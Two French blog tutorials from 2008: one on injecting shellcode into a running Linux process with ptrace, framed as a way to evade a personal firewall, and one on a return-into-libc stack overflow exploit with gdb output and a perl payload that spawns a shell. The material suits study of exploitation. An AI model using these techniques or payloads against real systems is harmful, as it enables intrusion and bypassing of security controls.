2008/07/20

Principes et mise en oeuvre d'un injection de code dans un processus en cours via le syscall PTRACE()

Yop all o/ !
Comme vous l'aurez sans doute compris dans le titre , cet article va traiter (pas trés original comme sujet j'en conviens) des injections de Shellcode dans un processus actif grace au syscall Ptrace() .

Commençons donc par une petite explication et mise en situation :

<--------------------------------------------->
Avant tout un petit mot sur l'environnement de test utilisé ici :
# uname -a
Linux localhost 2.6.22.19-desktop-2mdv #1 SMP Mon May 5 20:55:05 EDT 2008 i686 Intel(R) Pentium(R) 4 CPU 2.93GHz GNU/Linux
Le tout sans aucune modifications ,attention toutefois car il est ici nécéssaire de posséder une pile exécutable ( on joue encore une fois avec la stack ) bien qu'en y réfléchissant longuement , il peu etre possible de l'adapté sur n'importe quel OS ( d'aprés ce que j'ai pu lire sur phrack ;-) ) .
<--------------------------------------------->
-Il faut savoir que ce type d'injection est souvent utilisée par les codes malveillants afin de contourner les sécuritées mise en place sur une machine .

exemple :
Imaginons un poste de travail "sécurisé " par un firewall personnel ; en général ces programmes ont pour but de filtrer/bloquer l'accés au net pour certaines applications.
Cependant , supposons que nous voulions compromettre cette machine et faire en sorte d'obtenir un accés sortant (on peu tout aussi bien vouloir faire autre chose , mais ceci est a titre d'exemple hein ;-) ) , dans ce cas comment vas-t-on s'y prendre ..?

Sachant qu'au minimum le navigateur doit posséder un accés sortant , nous allons donc injecter notre shellcode dans la mémoire utilisée par ce processus puis faire en sorte qu'il poursuive son activité , comme si de rien n'était .
De cette façon nous pouvons utiliser les droits du navigateur et,donc avoir un accés sortant sans etre inquiété !

Pour cela il sera donc nécessaire de ne pas tuer le processus en fesant donc en sorte qu'une fois le pointeur EIP pointe sur le shellcode , l'exécute puis se replace (POP / RET) de façon a reprendre l'exécution du processus cible.

Etapes a suivre :
1- S'attacher au processus ciblé (PTRACE_ATTACH)

2-Attendre qu'il stoppe (WAITPID)

3-Récupération des registres utilisés par ce process(PTRACE_GETREGS)

4-Copie du Shellcode dans la stack (PTRACE_POKEDATA)

5-Redirection du pointeur vers le début de nore Shellcode (PTRACE_SETREGS)

6-Se détacher (PTRACE_DETACH)

Néanmoins,, il se peut que le processus ait été interrompu par le ptrace (PTRACE_ATTACH) alors qu’il exécuté un appel système.
Dans ce cas, le noyau décide de remettre l’ex écution a l’endroit ou elle a été interrompue, c’est-a-dire l’appel système. Sous Linux pour x86, un appel système est déclenché́ par l’instruction int 0x80, codée sur 2 octets.
Avant de rendre la main au processus, le noyau modifie donc le registre eip, en lui enlevant 2 octets. Or, nous ne souhaitons pas que l’exé́cution reprenne la ou ne se trouve pas notre shellcode!
Pour compenser cela, on ajoutera 2 Nops (\x90) au début du shellcode (et on oublira pas de modifier la valeur dans la boucle au passage sinon elle n'enverra pas tout le shellcode ).

Voila, on peu désormais passer a la pratique .Dans un premier temps je détaillerais donc les différentes étapes , puis je vous donnerais le code "Shell_inj" (Shellcode injector quoi -_- ) .
(Ce code est déja suffisemment commenté pour vous permettre de le comprendre facilement)

-- Nous allons , dans l'exemple suivant , injecter un dangereux shellcode (Hello , world! :-) ) dans un processus cible (ici bash sera la cible) -

On commence par récupérer son PID:
[kmkz@localhost Bureau]$ ps aux
Ce qui donnera un listing assez long (top pour etre mis ici en entier en tout cas ) .
Nous , on s'intéressera donc a ça :
kmkz 7178 0.3 0.1 4324 1920 pts/0 Ss+ 10:58 0:00 bash
Bon , on a le PID reste plus qu'a s'amuser now ! \o/
Je suppose que vous savez déja utiliser Gcc et donc ne reviendrais pas la dessus ..
Lançons le programme Shell_inj en lui passant en argument notre PID et voyons ce qui se passe :

[kmkz@localhost Bureau]$ ./inj 7178
[+] Attente d'attachement au processus 7178 ...
[+] Attachement au processus : réussi
[+] Lecture des registres:
-eip: 0xffffe410
-esp: 0xbfe478d8
[+] Shellcode copié en esp:0xbfe468d8
[+] Redirection d'eip vers le shellcode :0xbfe468da
[+] Détachement du processus 7178

[+] Injection Terminée !
Hello,World !

Bingo, notre "hello world" est bien la , en chair et en os (enfin si on veux quoi ^_^).
C'est a vous de jouer maintenant : vous savez détourner un processus en y injectant un shellcode pour en faire ce que vous voulez alors ....
___
*Here's the Shell_inj source code:
Shell_inj.c

Have Fun !

Remerciements a l'équipe de "blacks clowns" pour son article sans lequel j'aurai mis des mois avant de percuter comment m'y prendre ^^ ainsi qu'a l'équipe de dg-sc pour phrack et ses tutos de 1er choix !

2008/07/11

Return Into Libc

Salut a tous !
Bon , je sais j'ai un peu mis ce blog de coté ces derniers temps , mais c'est fini , rassurez-vous ;) .
Pour fêter ça , je vous propose un article traitant des fameux "Returns-into-libc ".

Bref , stoppons les baratins inutiles et place a l'article \o/.

-----Voici les codes dont nous auront besoins :
vuln.c
var-env.c
-----

Je précise toutefois que cet article s'adresse aux personnes sachant au minimum
exploiter un classique stack overflow (Voir article prévu a cet effet sur ce blog)
et ,donc, connaissant le fonctionnement de la pile.

La méthode du "return-into-libc" consiste, non pas à exécuter un
shellcode, mais à détourner le programme en lui faisant exécuter du code qui
est bien souvent dans une librairie telle que la libc.

Les librairies sont chargées à des adresses prédictibles sur
les noyaux standards, on les retrouve donc facilement .

Rappelons-nous que la libc, contient toutes les fonctions utiles à
l'exécution d'un shell.

Il faut impérativement bien visualiser le schéma suivant :

1) Vous venez d'écraser EIP avec l'adresse de la fonction system() située dans l'espace mémoire du
processus vulnérable.

2) Le programme saute sur system().

3) La fonction system() va faire son prologue, sans erreurs. Par contre system() va vouloir aller chercher
le paramètre que vous lui avez passé, et forcément , s'attend pour cela à ce qu'il y ait
un argument sur la pile.

4) Cet argument sur la pile, c'est l'adresse de votre chaîne de caractère "/bin/sh".
Mais pour cela vous devrez le "déposer" sur la pile pour que system() le récupère.

System() va donc récupérer cette chaine juste après EIP .

-----------------------------------------------------------------------------------------------------------------------------------------
Cet test a été réalisé sur une GNU/Linux Free 2008 (version 2.6.22.9 du noyau Linux) tournant sur une machine ayant pour Processeur un Intel Pentium IIII.
Aucunes fonctionalités n'a été modifiés au préalable , nous sommes ici en présence d'une config systeme par défaut ; cela dit , il faut bien avoir a l'esprit que les adresses et PID changeront , ceci est tout a fait normal d'une machine a l'autre (cet article n'est ici que dans le but de vous aidez a comprendre et , le cas échéant , a reproduire ces étapes chez vous en prenant notes des indications données dans ce paragraphe ( ThX Decerebrain ;-) ).
-----------------------------------------------------------------------------------------------------------------------------------------


-------Testons ça concrètement ------

En premier lieu , compilons notre programme vulnérable:

gcc -o vuln vuln.c // Rappel

Dans un premier shell , lançons ce programme:

[kmkz@localhost Bureau]$ ./vuln [Argument]
pid = 8219


-- Dans un autre shell ,nous allons exporter "/bin/sh" (pour le placer dans le meme environnement).
Ensuite , nous devons récupéré l'adresse en mémoire de la nouvelle variable d'environnement .
Noue le feront grace a notre petit programme écrit en C ( code "var-env.c") :

[root@localhost Bureau]# export kmkz=/bin/bash
[root@localhost Bureau]# ./var-env kmkz
**/bin/bash se situe a l'adresse b 0xbffec808 ** // et voila le travail ;-) .

Maintenant , il ne reste qu'a exploiter on lance gdb et notre "vuln.c" :

[kmkz@localhost Bureau]$ gdb ./vuln 8219 // 8219 étant le PID
GNU gdb 6.6-3mdv2008.0 ( Linux release 2008.0)
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-linux-gnu"...
Using host libthread_db library "/lib/i686/libthread_db.so.1".
Attaching to program: /home/kmkz/Bureau/vuln, process 8219 // Notre PID ici aussi \o/
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
0x080484c8 in main ()


--- Récupérons l'adresse de system() :
(gdb) x/x system
0x400608a0 : 0x83e58955

Et celle de exit() qui servira a quitté le programme "proprement":
(gdb) x/x exit
0x4004d0a0 : 0x57e58955

Waou ,c'est kewl ! :-)

Allez il ne nous reste plus qu'a convertir ça en Little Endian (voir selon les processeurs) et a construire notre Argument pour
l'obtention de notre Shell ce qui donne dans cet exemple :

"\xa0\x08\x06\x40" = system()
"\xa0\xd0\x04\x40" = exit()
"\x08\xc8\xfe\xbf" = notre shell

=> 1032 octets à écrire pour écraser entièrement EIP (1024 (buffer) + 4 + 4)
// Voir article sur les Stack Overflow
Nous devons donc passer l'argument de cette façon sur la ligne de commande :

[1028 octets] ["system()"] ["exit()] ["/bin/sh"]

Si tout se passe bien (et c'est le but ;) ), on doit obtenir ceci :

(gdb) r `perl -e 'print "x" x 1028 . "\xa0\x08\x06\x40"."\xa0\xd0\x04\x40"."\x08\xc8\xfe\xbf"'`
Starting program: /home/kmkz/Bureau/vuln `perl -e 'print "x" x 1028."\xa0\x08\x06\x40"."\xa0\xd0\x04\x40". "\x08\xc8\xfe\xbf"'`
sh-3.00$ <---- Notre Shell ^_^ -Remerciement a Marnage & 0vercl0k pour leur lumieres ;-) .